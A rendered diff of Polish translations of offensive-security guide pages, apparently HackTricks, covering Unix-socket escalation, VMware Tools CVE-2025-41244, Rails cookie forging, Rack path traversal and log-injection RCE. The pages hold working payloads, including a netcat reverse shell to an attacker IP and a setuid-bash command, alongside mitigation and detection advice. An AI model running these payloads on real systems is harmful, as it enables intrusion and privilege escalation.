- Asercje sald, podaży, autoryzacji i zdarzeń. - Sprawdź salda, podaż, autoryzacje i zdarzenia.
- Dodaj testy graniczne (`==`, przepełnienia/underflow, adres zero, ilość zero, puste tablice). - Dodaj testy brzegowe (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Zastąp nierealistyczne mocki; symuluj tryby awarii. - Zamień nierealistyczne mocki; symuluj scenariusze awarii.
- Iteruj, aż wszystkie mutanty zostaną wyeliminowane lub udokumentowane komentarzami i uzasadnieniem. - Iteruj, aż wszystkie mutanty zostaną zabite lub uzasadnione komentarzami i racjonalizacją.
## References ## Odniesienia
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/) - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)

File diff suppressed because it is too large Load Diff

View File

@ -4,7 +4,7 @@
## Socket binding — przykład w Pythonie ## Socket binding — przykład w Pythonie
W poniższym przykładzie tworzony jest **unix socket** (`/tmp/socket_test.s`), a wszystko, co zostanie **odebrane**, zostanie **wykonane** przez `os.system`. Wiem, że nie znajdziesz tego w rzeczywistych systemach, ale celem tego przykładu jest pokazanie, jak wygląda kod używający unix socketów oraz jak poradzić sobie z wejściem w najgorszym możliwym przypadku. W poniższym przykładzie tworzony jest **unix socket** (`/tmp/socket_test.s`), a wszystko, co zostanie **odebrane**, zostanie **wykonane** przez `os.system`. Wiem, że nie znajdziesz tego w praktyce, ale celem tego przykładu jest pokazanie, jak wygląda kod używający unix socketów i jak poradzić sobie z danymi wejściowymi w najgorszym możliwym przypadku.
```python:s.py ```python:s.py
import socket import socket
import os, os.path import os, os.path
@ -26,7 +26,7 @@ print(datagram)
os.system(datagram) os.system(datagram)
conn.close() conn.close()
``` ```
**Uruchom** kod za pomocą python: `python s.py` i **sprawdź, jak socket nasłuchuje**: **Uruchom** kod przy użyciu python: `python s.py` i **sprawdź, jak socket nasłuchuje**:
```python ```python
netstat -a -p --unix | grep "socket_test" netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info (Not all processes could be identified, non-owned process info
@ -37,17 +37,17 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
```python ```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
``` ```
## Studium przypadku: eskalacja wyzwalana sygnałem przez socket UNIX należący do root (LG webOS) ## Studium przypadku: Root-owned UNIX socket signal-triggered escalation (LG webOS)
Niektóre uprzywilejowane demony wystawiają socket UNIX należący do root, który akceptuje nieufne dane wejściowe i powiązuje uprzywilejowane akcje z identyfikatorami wątków (thread-IDs) oraz sygnałami. Jeśli protokół pozwala nieuprzywilejowanemu klientowi wpłynąć na to, który natywny wątek jest celem, możesz być w stanie wywołać uprzywilejowaną ścieżkę kodu i eskalować. Niektóre uprzywilejowane demony udostępniają root-owned UNIX socket, który przyjmuje niezaufane dane wejściowe i wiąże uprzywilejowane akcje z identyfikatorami wątków i sygnałami. Jeśli protokół pozwala nieuprzywilejowanemu klientowi wpływać na to, który native thread jest celem, możesz być w stanie wywołać uprzywilejowaną ścieżkę kodu i eskalować.
Observed pattern: Zaobserwowany wzorzec:
- Połącz się z socketem należącym do root (np. /tmp/remotelogger). - Połącz się z root-owned socket (np. /tmp/remotelogger).
- Utwórz wątek i uzyskaj jego natywny thread id (TID). - Utwórz thread i uzyskaj jego native thread id (TID).
- Wyślij TID (spakowany) oraz padding jako żądanie; odbierz potwierdzenie. - Wyślij TID (spakowany) plus padding jako żądanie; odbierz potwierdzenie.
- Dostarcz konkretny sygnał do tego TID, aby wywołać uprzywilejowane zachowanie. - Dostarcz konkretny sygnał do tego TID, aby wywołać uprzywilejowane zachowanie.
Minimal PoC sketch: Minimalny szkic PoC:
```python ```python
import socket, struct, os, threading, time import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal # Spawn a thread so we have a TID we can signal
@ -59,14 +59,14 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case) os.kill(tid, 4) # deliver SIGILL (example from the case)
``` ```
Aby zamienić to w root shell, można użyć prostego wzorca named-pipe + nc: Aby to zamienić w powłokę root, można użyć prostego wzorca named-pipe + nc:
```bash ```bash
rm -f /tmp/f; mkfifo /tmp/f rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
``` ```
Uwagi: Notatki:
- Ten rodzaj błędów powstaje z zaufania do wartości pochodzących ze stanu klienta bez uprawnień (TIDs) i powiązywania ich z uprzywilejowanymi handlerami sygnałów lub logiką. - Ten typ błędów wynika z ufania wartościom pochodzącym ze stanu klienta bez uprawnień (TIDs) i wiązania ich z uprzywilejowanymi signal handlers lub logiką.
- Wzmocnij poprzez wymuszanie uwierzytelnienia na socket, walidację formatów wiadomości oraz odseparowanie uprzywilejowanych operacji od zewnętrznie dostarczanych identyfikatorów wątków. - Wzmocnić poprzez wymuszanie poświadczeń na socket, walidację formatów wiadomości oraz oddzielenie uprzywilejowanych operacji od zewnętrznie dostarczanych thread identifiers.
## Referencje ## Referencje

View File

@ -1,22 +1,23 @@
# VMware Tools service discovery LPE (CWE-426) poprzez regex-based binary discovery (CVE-2025-41244) # VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Ta technika nadużywa potoków service discovery sterowanych regexami, które parsują linie poleceń uruchomionych procesów, aby wywnioskować wersje usług, a następnie wykonują kandydacki binarny plik z flagą "version". Gdy dopuszczające wzorce akceptują niezaufane, kontrolowane przez atakującego ścieżki (np. /tmp/httpd), uprzywilejowany collector wykonuje dowolny binarny plik z niezaufanej lokalizacji, co prowadzi do lokalnej eskalacji uprawnień. NVISO udokumentowało to w VMware Tools/Aria Operations Service Discovery jako CVE-2025-41244. Ta technika wykorzystuje pipeline'y service discovery oparte na regex, które analizują linie poleceń uruchomionych procesów, aby wywnioskować wersje usług, a następnie uruchamiają wybrany binarny plik z flagą "version". Gdy permisywne wzorce akceptują nieufne, kontrolowane przez atakującego ścieżki (np. /tmp/httpd), uprzywilejowany collector uruchamia dowolny binarny z nieufnej lokalizacji, prowadząc do lokalnej eskalacji uprawnień. NVISO udokumentowało to w VMware Tools/Aria Operations Service Discovery jako CVE-2025-41244.
- Impact: Lokalna eskalacja uprawnień do root (lub do uprzywilejowanego konta discovery) - Impact: Lokalna eskalacja uprawnień do root (lub do uprzywilejowanego konta discovery)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines - Root cause: Untrusted Search Path (CWE-426) + zbyt permisywne dopasowywanie regex do linii poleceń procesów
- Affected: open-vm-tools/VMware Tools na Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) - Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
## How VMware service discovery works (high level) ## How VMware service discovery works (high level)
- Credential-based (legacy): Aria wykonuje discovery scripts wewnątrz guest przez VMware Tools, używając skonfigurowanych uprzywilejowanych poświadczeń. - Credential-based (legacy): Aria uruchamia discovery scripts wewnątrz gościa za pomocą VMware Tools używając skonfigurowanych uprzywilejowanych poświadczeń.
- Credential-less (modern): Logika discovery działa w ramach VMware Tools, już uprzywilejowana w guest. - Credential-less (modern): Logika discovery działa wewnątrz VMware Tools, już uprzywilejowana w gościu.
- Oba tryby ostatecznie uruchamiają logikę shell, która skanuje procesy z nasłuchującymi socketami, wyciąga dopasowaną ścieżkę polecenia za pomocą regex i wykonuje pierwszy token argv z flagą wersji.
Oba tryby ostatecznie uruchamiają shellową logikę, która skanuje procesy z nasłuchującymi socketami, wyciąga pasującą ścieżkę polecenia za pomocą regex i wykonuje pierwszy token argv z flagą wersji.
## Root cause and vulnerable pattern (open-vm-tools) ## Root cause and vulnerable pattern (open-vm-tools)
W open-vm-tools, skrypt pluginu serviceDiscovery get-versions.sh dopasowuje kandydackie binaria używając szerokich wyrażeń regularnych i uruchamia pierwszy token bez jakiejkolwiek walidacji trusted-path: W open-vm-tools, plugin serviceDiscovery skrypt get-versions.sh dopasowuje kandydackie binarki przy użyciu szerokich wyrażeń regularnych i wykonuje pierwszy token bez żadnej walidacji zaufanej ścieżki:
```bash ```bash
get_version() { get_version() {
PATTERN=$1 PATTERN=$1
@ -28,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done done
} }
``` ```
Jest wywoływany z dopuszczającymi wzorcami zawierającymi \S (znak niebędący białym znakiem), które chętnie dopasują nie-systemowe ścieżki w lokalizacjach zapisywalnych przez użytkownika: Jest wywoływany z luźnymi wzorcami zawierającymi \S (non-whitespace), które z łatwością dopasują ścieżki spoza systemu w lokalizacjach zapisywalnych przez użytkownika:
```bash ```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v get_version "/usr/(bin|sbin)/apache\S*" -v
@ -37,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v get_version "/\S+/dataserver($|\s)" -v
``` ```
- Ekstrakcja używa grep -Eo i pobiera pierwszy token: ${COMMAND%%[[:space:]]*} - Ekstrakcja używa grep -Eo i bierze pierwszy token: ${COMMAND%%[[:space:]]*}
- Brak whitelist/allowlist zaufanych ścieżek systemowych; każdy wykryty listener o pasującej nazwie jest uruchamiany z -v/--version - Brak whitelist/allowlist zaufanych ścieżek systemowych; każdy wykryty listener z pasującą nazwą jest uruchamiany z -v/--version
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. To tworzy prymityw wykonania z nieufnej ścieżki wyszukiwania: dowolne binarki znajdujące się w katalogach zapisywalnych przez wszystkich (np. /tmp/httpd) są uruchamiane przez uprzywilejowany komponent.
## Eksploatacja (zarówno w trybie bez poświadczeń, jak i w trybie z poświadczeniami) ## Eksploatacja (zarówno bezpoświadczeniowy, jak i oparty na poświadczeniach)
Warunki wstępne Preconditions
- Możesz uruchomić proces bez uprawnień, który otwiera gniazdo nasłuchujące na gościu. - Możesz uruchomić nieuprzywilejowany proces, który otwiera gniazdo nasłuchujące na gościu.
- Zadanie discovery jest włączone i działa okresowo (historycznie ~5 minut). - Zadanie discovery jest włączone i uruchamia się okresowo (historycznie ~5 minut).
Kroki Steps
1) Umieść binarkę w ścieżce pasującej do jednego z liberalnych regexów, np. /tmp/httpd lub ./nginx 1) Umieść binarkę w ścieżce pasującej do jednego z permisywnych regexów, np. /tmp/httpd or ./nginx
2) Uruchom ją jako użytkownik o niskich uprawnieniach i upewnij się, że otwiera dowolne gniazdo nasłuchujące 2) Uruchom ją jako użytkownik o niskich uprawnieniach i upewnij się, że otwiera dowolne gniazdo nasłuchujące
3) Poczekaj na cykl discovery; uprzywilejowany collector automatycznie wykona: /tmp/httpd -v (lub podobnie), uruchamiając twój program jako root 3) Poczekaj na cykl discovery; uprzywilejowany collector automatycznie wykona: /tmp/httpd -v (lub podobne), uruchamiając Twój program jako root
Minimalne demo (używając podejścia NVISO) Minimal demo (wykorzystując podejście NVISO)
```bash ```bash
# Build any small helper that: # Build any small helper that:
# - default mode: opens a dummy TCP listener # - default mode: opens a dummy TCP listener
@ -64,61 +65,61 @@ chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle /tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action # After the next cycle, expect a root shell or your privileged action
``` ```
Typowy przebieg procesu Typowy ciąg procesów
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i - Oparte na poświadczeniach: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i - Bez poświadczeń: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Artefakty (credential-based) Artefakty (oparte na poświadczeniach)
Odzyskane SDMP wrapper scripts pod /tmp/VMware-SDMP-Scripts-{UUID}/ mogą pokazywać bezpośrednie uruchomienie złośliwej ścieżki: Odzyskane skrypty wrapper SDMP w /tmp/VMware-SDMP-Scripts-{UUID}/ mogą wykazywać bezpośrednie uruchomienie nieautoryzowanej ścieżki:
```bash ```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
``` ```
## Uogólnianie techniki: nadużycie wykrywania sterowanego regexem (wzorzec przenośny) ## Uogólnienie techniki: nadużycie odkrywania opartego na regexach (przenośny wzorzec)
Wiele agentów i pakietów monitorujących implementuje wykrywanie wersji/usługi poprzez: Wiele agentów i pakietów monitorujących implementuje wykrywanie wersji/usług przez:
- Enumerowanie procesów z listening sockets - enumerację procesów z nasłuchującymi socketami
- Przeszukiwanie argv/command lines za pomocą permisywnych regexów (np. wzorce zawierające \S) - przeszukiwanie argv/linii poleceń przy użyciu permisywnych regexów (np. wzorców zawierających \S)
- Wykonywanie dopasowanej ścieżki z pozornie nieszkodliwym przełącznikiem takim jak -v, --version, -V, -h - wykonanie dopasowanej ścieżki z nieszkodliwą flagą taką jak -v, --version, -V, -h
Jeśli regex akceptuje niezaufane ścieżki i ścieżka jest wykonywana z uprzywilejowanego kontekstu, otrzymujesz CWE-426 Untrusted Search Path execution. Jeśli regex akceptuje niezaufane ścieżki i ścieżka jest wykonywana z uprzywilejowanego kontekstu, otrzymujesz CWE-426 Untrusted Search Path execution.
Abuse recipe Sposób nadużycia
- Nazwij swój plik binarny tak jak popularne daemony, które regex prawdopodobnie dopasuje: httpd, nginx, mysqld, dataserver - Nazwij swój plik binarny tak jak powszechne demony, które regex prawdopodobnie dopasuje: httpd, nginx, mysqld, dataserver
- Umieść go w katalogu z prawami zapisu: /tmp/httpd, ./nginx - Umieść go w zapisywalnym katalogu: /tmp/httpd, ./nginx
- Upewnij się, że pasuje do regex i otwiera dowolny port do wykrycia - Upewnij się, że pasuje do regexu i otwiera dowolny port, aby został zenumerowany
- Poczekaj na zaplanowany collector; otrzymasz automatyczne uprzywilejowane wywołanie <path> -v - Poczekaj na zaplanowany kolektor; otrzymasz automatyczne uprzywilejowane wywołanie <path> -v
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. Uwaga dot. maskowania: To odpowiada MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) w celu zwiększenia prawdopodobieństwa dopasowania i ukrycia.
Reusable privileged I/O relay trick Wielokrotnego użytku trik uprzywilejowanego przekaźnika I/O
- Zbuduj swój helper tak, aby przy uprzywilejowanym wywołaniu (-v/--version) łączył się z ustalonym rendezvous (np. abstrakcyjnym socketem UNIX w Linuksie takim jak @cve) i mostkował stdio do /bin/sh -i. To unika artefaktów na dysku i działa w wielu środowiskach, gdzie ten sam binarny plik jest ponownie wywoływany z flagą. - Zbuduj swojego pomocnika tak, aby przy uprzywilejowanym wywołaniu (-v/--version) łączył się ze znanym punktem zbornym (np. abstrakcyjnym socketem UNIX na Linuksie jak @cve) i łączył stdio z /bin/sh -i. To unika artefaktów na dysku i działa w wielu środowiskach, gdzie ten sam plik binarny jest ponownie wywoływany z flagą.
## Detection and DFIR guidance ## Wykrywanie i wskazówki DFIR
Hunting queries Zapytania detekcyjne
- Nietypowe procesy potomne vmtoolsd lub get-versions.sh, takie jak /tmp/httpd, ./nginx, /tmp/mysqld - Rzadkie (nieoczekiwane) potomki vmtoolsd lub get-versions.sh, takie jak /tmp/httpd, ./nginx, /tmp/mysqld
- Każde wykonanie absolutnych ścieżek spoza systemu przez discovery scripts (zwróć uwagę na spacje w ${COMMAND%%...} expansions) - Wszelkie wykonywanie absolutnych ścieżek spoza systemowych przez skrypty odkrywające (szukaj spacji w ekspansjach ${COMMAND%%...})
- ps -ef --forest aby zwizualizować ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path> - ps -ef --forest do wizualizacji drzew przodków: vmtoolsd -> get-versions.sh -> <non-system path>
On Aria SDMP (credential-based) W Aria SDMP (oparte na poświadczeniach)
- Sprawdź /tmp/VMware-SDMP-Scripts-{UUID}/ w poszukiwaniu transient scripts oraz stdout/stderr artifacts pokazujących wykonanie attacker paths - Sprawdź /tmp/VMware-SDMP-Scripts-{UUID}/ pod kątem przejściowych skryptów i artefaktów stdout/stderr pokazujących wykonanie ścieżek atakującego
Policy/telemetry Polityka/telemetria
- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ - Generuj alert, gdy uprzywilejowane kolektory wykonują się z prefiksów spoza systemowych: ^/(tmp|home|var/tmp|dev/shm)/
- File integrity monitoring on get-versions.sh and VMware Tools plugins - Monitorowanie integralności plików dla get-versions.sh i wtyczek VMware Tools
## Mitigations ## Środki zaradcze
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) - Patch: Zastosuj aktualizacje Broadcom/VMware dla CVE-2025-41244 (Tools and Aria Operations SDMP)
- Wyłącz lub ogranicz credential-less discovery tam, gdzie to możliwe - Wyłącz lub ogranicz wykrywanie bez poświadczeń tam, gdzie jest to możliwe
- Weryfikuj trusted paths: ogranicz wykonywanie do allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) i tylko do dokładnie znanych binariów - Waliduj zaufane ścieżki: ogranicz wykonywanie do dozwolonych katalogów (/usr/sbin, /usr/bin, /sbin, /bin) i tylko do dokładnie znanych binariów
- Unikaj permisywnych regexów z \S; preferuj zakotwiczone, jawne ścieżki absolutne i dokładne nazwy poleceń - Unikaj permisywnych regexów z \S; preferuj zakotwiczone, wyraźne ścieżki absolutne i dokładne nazwy poleceń
- Ogranicz uprawnienia discovery helpers tam, gdzie to możliwe; stosuj sandbox (seccomp/AppArmor) aby zmniejszyć wpływ - Zrzuć przywileje dla pomocników odkrywających tam, gdzie to możliwe; użyj sandboxingu (seccomp/AppArmor) aby zmniejszyć skutki
- Monitoruj i generuj alerty dla vmtoolsd/get-versions.sh wykonujących ścieżki spoza systemu - Monitoruj i generuj alerty na vmtoolsd/get-versions.sh wykonujące ścieżki spoza systemowych
## Notes for defenders and implementers ## Uwagi dla obrońców i implementatorów
Safer matching and execution pattern Bezpieczniejszy wzorzec dopasowania i wykonywania
```bash ```bash
# Bad: permissive regex and blind exec # Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")

View File

@ -1,51 +1,51 @@
# Triki Ruby # Ruby Tricks
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Wgrywanie pliku do RCE ## File upload to RCE
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. Jak wyjaśniono w [this article](https://www.offsec.com/blog/cve-2024-46986/), wgrywanie pliku `.rb` do wrażliwych katalogów takich jak `config/initializers/` może prowadzić do remote code execution (RCE) w aplikacjach Ruby on Rails.
Wskazówki: Tips:
- Inne lokalizacje uruchamiania/eager-load, które są wykonywane przy starcie aplikacji, również są ryzykowne jeśli są zapisywalne (np. `config/initializers/` to klasyczny przykład). Jeśli znajdziesz arbitralny upload pliku, który trafia gdziekolwiek pod `config/` i później jest evaluated/required, możesz uzyskać RCE przy starcie. - Inne lokalizacje ładowane przy starcie aplikacji (boot/eager-load), które są wykonywane na starcie aplikacji, także są ryzykowne, jeśli są writeable (np. `config/initializers/` to klasyczny przykład). Jeśli znajdziesz dowolny upload pliku, który trafia gdziekolwiek pod `config/` i jest później evaluated/required, możesz uzyskać RCE przy starcie.
- Szukaj dev/staging buildów, które kopiują pliki kontrolowane przez użytkownika do obrazu kontenera, gdzie Rails załaduje je przy starcie. - Szukaj dev/staging buildów, które kopiują pliki kontrolowane przez użytkownika do container image, gdzie Rails załaduje je przy boot.
## Active Storage image transformation → wykonanie polecenia (CVE-2025-24293) ## Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. Kiedy aplikacja używa Active Storage z `image_processing` + `mini_magick`, i przekazuje nieufne parametry do metod transformacji obrazów, Rails w wersjach przed 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mógł pozwalać na command injection, ponieważ niektóre metody transformacji były błędnie dozwolone domyślnie.
- A vulnerable pattern looks like: - A vulnerable pattern looks like:
```erb ```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %> <%= image_tag blob.variant(params[:t] => params[:v]) %>
``` ```
where `params[:t]` and/or `params[:v]` are attacker-controlled. gdzie `params[:t]` i/lub `params[:v]` są kontrolowane przez atakującego.
- Co wypróbować podczas testowania - What to try during testing
- Zidentyfikuj endpointy, które akceptują opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick. - Zidentyfikuj endpointy, które akceptują opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick.
- Fuzzuj `params[:t]` i `params[:v]` w poszukiwaniu podejrzanych błędów lub efektów ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty, które trafią do MiniMagick, możesz uzyskać code exec na hoście przetwarzającym obrazy. - Fuzz `params[:t]` i `params[:v]` w poszukiwaniu podejrzanych błędów lub efektów ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty docierające do MiniMagick, możesz uzyskać code exec na hoście przetwarzającym obrazy.
- Jeśli masz tylko read-access do wygenerowanych wariantów, spróbuj blind exfiltration przez spreparowane operacje ImageMagick. - Jeśli masz tylko read-access do wygenerowanych variants, spróbuj blind exfiltration przez spreparowane operacje ImageMagick.
- Naprawa/detekcja - Remediation/detections
- Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage + `image_processing` + `mini_magick` i transformacjami kontrolowanymi przez użytkownika, traktuj to jako podatne. Zalecaj upgrade i wymuszanie ścisłych allowlist dla metod/parametrów oraz utwardzoną politykę ImageMagick. - Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage + `image_processing` + `mini_magick` i transformacjami kontrolowanymi przez użytkownika, uznaj to za eksploatowalne. Zalecane jest uaktualnienie oraz wymuszenie ścisłych allowlists dla metod/parametrów oraz wzmocniona polityka ImageMagick.
## Rack::Static LFI / path traversal (CVE-2025-27610) ## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. Jeśli target stack używa Rack middleware bezpośrednio lub przez frameworki, wersje `rack` przed 2.2.13, 3.0.14 i 3.1.12 pozwalają na Local File Inclusion via `Rack::Static` gdy `:root` jest unset/misconfigured. Zakodowany traversal w `PATH_INFO` może ujawnić pliki pod katalogiem roboczym procesu lub nieoczekiwanym rootem.
- Szukaj aplikacji, które montują `Rack::Static` w `config.ru` lub w stackach middleware. Próbuj zakodowanych traversali przeciwko statycznym ścieżkom, na przykład: - Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
```text ```text
GET /assets/%2e%2e/%2e%2e/config/database.yml GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env GET /favicon.ico/..%2f..%2f.env
``` ```
Dopasuj prefix do skonfigurowanych `urls:`. Jeśli aplikacja odpowiada zawartością pliku, prawdopodobnie masz LFI do wszystkiego pod rozwiązanym `:root`. Dopasuj prefix do skonfigurowanych `urls:`. Jeśli aplikacja odpowiada zawartością pliku, najprawdopodobniej masz LFI do wszystkiego pod rozstrzygniętym `:root`.
- Mitigacja: zaktualizuj Rack; upewnij się, że `:root` wskazuje tylko na katalog publicznych plików i jest ustawiony jawnie. - Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
## Fałszowanie/odszyfrowywanie Rails cookies gdy `secret_key_base` jest leaked ## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. Rails szyfruje i podpisuje cookies używając kluczy pochodzących z `secret_key_base`. If that value leaks (np. w repo, logach lub błędnie skonfigurowanych credentials), zazwyczaj możesz odszyfrować, zmodyfikować i ponownie zaszyfrować cookies. To często prowadzi do authz bypass jeśli aplikacja przechowuje role, user IDs lub feature flags w cookies.
Minimalny Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, default in recent Rails): Minimalny kod Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, default in recent Rails):
```ruby ```ruby
require 'cgi' require 'cgi'
require 'json' require 'json'
@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}" puts "Forged cookie: #{CGI.escape(forged)}"
``` ```
Uwagi: Uwagi:
- Starsze aplikacje mogą używać AES-256-CBC oraz salts `encrypted cookie` / `signed encrypted cookie`, lub JSON/Marshal serializers. Dostosuj salts, cipher i serializer odpowiednio. - Starsze aplikacje mogą używać AES-256-CBC i soli `encrypted cookie` / `signed encrypted cookie`, albo serializerów JSON/Marshal. Dostosuj sole, szyfr i serializer odpowiednio.
- W przypadku kompromitacji/oceny, zmień `secret_key_base`, aby unieważnić wszystkie istniejące ciasteczka. - W przypadku kompromitacji/oceny, obróć `secret_key_base`, aby unieważnić wszystkie istniejące cookies.
## Zobacz też (Ruby/Rails-specyficzne podatności) ## Zobacz także (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: - Ruby deserialization and class pollution:
{{#ref}} {{#ref}}
@ -92,9 +92,83 @@ Uwagi:
{{#endref}} {{#endref}}
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
## Referencje Gdy aplikacja (często prosty endpoint Rack/Sinatra/Rails) spełnia oba warunki:
- loguje ciąg sterowany przez użytkownika dosłownie, oraz
- później `load`uje plik, którego ścieżka jest wyprowadzona z tego samego ciągu (po `Pathname#cleanpath`),
Często można osiągnąć RCE, zatruwając log i następnie zmuszając aplikację do `load`owania pliku z logiem. Kluczowe prymitywy:
- Ruby `load` wykonuje zawartość docelowego pliku jako Ruby, niezależnie od rozszerzenia pliku. Każdy czytelny plik tekstowy, którego zawartość da się sparsować jako Ruby, zostanie wykonany.
- `Pathname#cleanpath` redukuje segmenty `.` i `..` bez odwołań do systemu plików, umożliwiając path smuggling: sterowany przez atakującego junk może być dopisany na początku do logowania, podczas gdy oczyszczona ścieżka nadal rozwiązuje się do zamierzonego pliku do wykonania (np. `../logs/error.log`).
### Minimalny wzorzec podatności
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
```
### Dlaczego log może zawierać poprawny Ruby
`Logger` zapisuje linie prefiksu takie jak:
```
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
```
W Ruby `#` rozpoczyna komentarz, a `9/2/2025` to po prostu działanie arytmetyczne. Aby wstrzyknąć prawidłowy kod Ruby musisz:
- Rozpocząć swój payload na nowej linii, aby nie był skomentowany przez `#` w linii INFO; wyślij wiodący znak nowej linii (`\n` lub `%0A`).
- Zamknąć wiszący `[` wprowadzony przez linię INFO. Powszechnym trikiem jest rozpoczęcie od `]` i opcjonalnie zadowolenie parsera przez `][0]=1`.
- Następnie umieścić dowolny kod Ruby (np. `system(...)`).
Przykład tego, co znajdzie się w logu po jednym żądaniu z przygotowanym parametrem:
```
